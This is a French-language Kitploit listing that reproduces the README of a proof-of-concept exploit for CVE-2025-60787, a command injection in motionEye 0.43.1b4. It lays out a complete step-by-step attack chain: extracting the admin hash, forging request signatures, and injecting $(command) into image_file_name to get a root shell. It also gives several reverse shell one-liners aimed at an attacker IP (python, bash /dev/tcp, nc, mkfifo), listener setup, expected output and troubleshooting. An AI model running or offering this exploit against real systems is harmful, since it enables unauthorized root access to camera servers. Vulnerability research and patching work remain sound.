Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-60787 — MotionEye v0.43.1b4 OS Command Injection | Kitploit
Outils/GitHubGitHub/agent-skywalker/cve-2025-60787
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubagent-skywalker/cve-2025-60787

CVE-2025-60787

MotionEye v0.43.1b4 OS Command Injection

Voir le dépôt
1il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 - Injection de commande OS

Un proof-of-concept d'exploitation d'injection de commande OS pour la vulnérabilité dans motionEye, une interface web pour le démon motion. La vulnérabilité exploite le paramètre de configuration image_file_name, qui est transmis directement au shell sans assainissement, permettant une injection arbitraire de commandes via la syntaxe $(command) de sous-shell.

Avertissement : À utiliser uniquement contre des systèmes pour lesquels vous avez une autorisation explicite de test. Toute utilisation non autorisée est illégale.


Table des matières

  • Comment la vulnérabilité fonctionne
  • Prérequis
  • Étape 1 — Localiser le hash du mot de passe administrateur
  • Étape 2 — Comprendre la chaîne d'authentification
  • Étape 3 — Comprendre l'algorithme de signature
  • Étape 4 — Configurer l'exploit
  • Étape 5 — Démarrer votre écouteur
  • Étape 6 — Exécuter l'exploit
  • Référence des paramètres
  • Dépannage

Comment la vulnérabilité fonctionne

motionEye transmet la valeur de configuration image_file_name directement au démon motion comme motif de nom de fichier shell. Motion évalue les expressions de sous-shell $(...) à l'intérieur des noms de fichiers au moment de la capture d'écran, ce qui signifie que toute commande placée à l'intérieur de $(...) est exécutée en tant qu'utilisateur exécutant le processus motion (généralement root).

La chaîne d'attaque complète est :

root@kitploit:~
1. Lire le hash admin_password depuis /etc/motioneye/motion.conf
         ↓
2. Dériver le hash du cookie = SHA1(admin_password_hash)
         ↓
3. Calculer la signature HMAC en utilisant l'algorithme exact de motionEye :
   SHA1("METHOD:path:body:key")
         ↓
4. Publier (POST) une configuration malveillante vers /config/{cam}/set/ avec :
   image_file_name = $(votre_commande).%Y-%m-%d-%H-%M-%S
         ↓
5. Déclencher une capture d'écran via le port de contrôle motion non authentifié 7999
         ↓
6. Motion évalue le nom de fichier → la commande s'exécute en tant que root
         ↓
7. Un shell inverse se connecte à la machine de l'attaquant

Prérequis

  • Python 3.6+
  • Accès réseau à l'instance motionEye cible (port par défaut 8765)
  • Le hash du mot de passe administrateur depuis /etc/motioneye/motion.conf
  • Un écouteur sur votre machine d'attaque (par exemple nc)

Aucun paquet Python tiers n'est requis — l'exploit utilise uniquement la bibliothèque standard.


Étape 1 — Localiser le hash du mot de passe administrateur

Le fichier de configuration de motionEye stocke le mot de passe administrateur sous forme de hash SHA1. Lisez-le depuis la cible :

root@kitploit:~
cat /etc/motioneye/motion.conf

Recherchez la ligne de commentaire @admin_password :

root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

La valeur après @admin_password est un hash SHA1 du mot de passe en clair, pas le mot de passe lui-même. Ce hash est ce dont vous avez besoin pour l'exploit.

Notez également la valeur webcontrol_port — c'est le port de contrôle motion non authentifié utilisé pour déclencher les captures d'écran :

root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

Étape 2 — Comprendre la chaîne d'authentification

motionEye utilise un schéma d'authentification à double hachage :

root@kitploit:~
plaintext_password
       │
       ▼  SHA1
admin_password  ←── stocké dans motion.conf sous @admin_password
       │
       ▼  SHA1
cookie_hash     ←── envoyé dans le cookie du navigateur comme meye_password_hash
       │
       ▼  utilisé comme clé HMAC
request_signature ←── paramètre _signature= dans chaque requête API

L'exploit dérive automatiquement le hash du cookie à partir du hash de configuration :

root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

Vous pouvez le vérifier manuellement :

root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# sortie : 238bd0f26e9f987d2dc9c0351c018e5f52534052

Étape 3 — Comprendre l'algorithme de signature

La signature est calculée à partir du code source de motionEye situé dans
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py :

root@kitploit:~
SHA1("METHOD:path:body:key")

Où :

  • METHOD — méthode HTTP (POST)
  • path — URI avec _signature supprimée de la chaîne de requête, paramètres triés, valeurs encodées URL, puis filtrées via _SIGNATURE_REGEX
  • body — chaîne JSON brute du corps, filtrée via _SIGNATURE_REGEX
  • key — soit admin_password soit admin_hash (motionEye accepte les deux), filtré via _SIGNATURE_REGEX

_SIGNATURE_REGEX supprime tout caractère qui n'est pas dans [a-zA-Z0-9/?_.=&{}\[\]":, -], en les remplaçant par -.


Étape 4 — Configurer l'exploit

Ouvrez exploit.py et définissez les variables suivantes en haut :

root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765"   # URL de l'interface web motionEye
MOTION_URL    = "http://127.0.0.1:7999"   # port de contrôle motion (pas d'auth)
USERNAME      = "admin"                    # nom d'utilisateur admin (par défaut : admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # depuis motion.conf

LHOST = "10.10.16.153"   # votre IP d'écouteur — la cible doit pouvoir y accéder
LPORT = "4444"           # votre port d'écouteur

La commande de shell inverse est définie automatiquement à partir de LHOST et LPORT :

root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

Commandes shell alternatives — remplacez COMMAND si la commande par défaut est bloquée :

root@kitploit:~
# Bash TCP (simple, peut être filtré)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat avec option -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat sans -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

Étape 5 — Démarrer votre écouteur

Sur votre machine d'attaque, démarrez un écouteur netcat avant d'exécuter l'exploit :

root@kitploit:~
nc -lvnp 4444

L'exploit fait une pause de 5 secondes après avoir affiché le rappel de l'écouteur, vous donnant le temps de changer de terminal.


Étape 6 — Exécuter l'exploit

root@kitploit:~
python3 exploit.py

Sortie attendue :

root@kitploit:~
============================================================
  motionEye RCE — Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Command    : python3 -c '...'

[!] Start your listener NOW:
    nc -lvnp 4444

[*] Sending payload in 5 seconds...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] Config saved! cam=2 key=admin_password

[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done

[+] Snapshot triggered — check your listener on 10.10.16.153:4444

Sur votre écouteur, vous devriez recevoir :

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

Référence des paramètres


Dépannage

403 Non autorisé sur toutes les requêtes

La signature est incorrecte. Vérifiez que la valeur de ADMIN_HASH correspond exactement à la ligne @admin_password dans motion.conf — sans espaces, sans caractères de nouvelle ligne.

root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password

Les captures d'écran se déclenchent mais aucun shell n'arrive

L'injection image_file_name a fonctionné mais le shell inverse a été bloqué. Essayez une COMMAND alternative depuis l'Étape 4. Confirmez également que la cible peut atteindre votre LHOST :

root@kitploit:~
# Sur la cible
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444

Le port 7999 refuse la connexion

Le paramètre webcontrol_localhost on restreint le port 7999 au localhost uniquement. L'exploit doit être exécuté depuis la machine cible ou via un tunnel. Confirmez avec :

root@kitploit:~
ss -tlnp | grep 7999

motion.conf illisible

Le fichier peut nécessiter des privilèges élevés :

root@kitploit:~
sudo cat /etc/motioneye/motion.conf

Aucune configuration de caméra trouvée

Vérifiez quels fichiers de configuration de caméra existent et mettez à jour la liste cam dans l'exploit si nécessaire :

root@kitploit:~
ls /etc/motioneye/camera-*.conf


Références

  • CVE-2025-60787
  • Code source motionEye — utils/init.py
  • Code source motionEye — handlers/base.py
Télécharger l’outil
ParamètreEmplacementDescriptionExemple
MOTIONEYE_URLexploit.pyURL complète de l'interface web motionEyehttp://127.0.0.1:8765
MOTION_URLexploit.pyURL du port de contrôle motion (aucune authentification requise)http://127.0.0.1:7999
USERNAMEexploit.pyNom d'utilisateur admin motionEyeadmin
ADMIN_HASHexploit.pyHash SHA1 depuis @admin_password dans motion.conf989c5a8e...
LHOSTexploit.pyIP de votre machine d'attaque — la cible doit pouvoir y accéder10.10.16.153
LPORTexploit.pyPort sur lequel votre écouteur nc est actif4444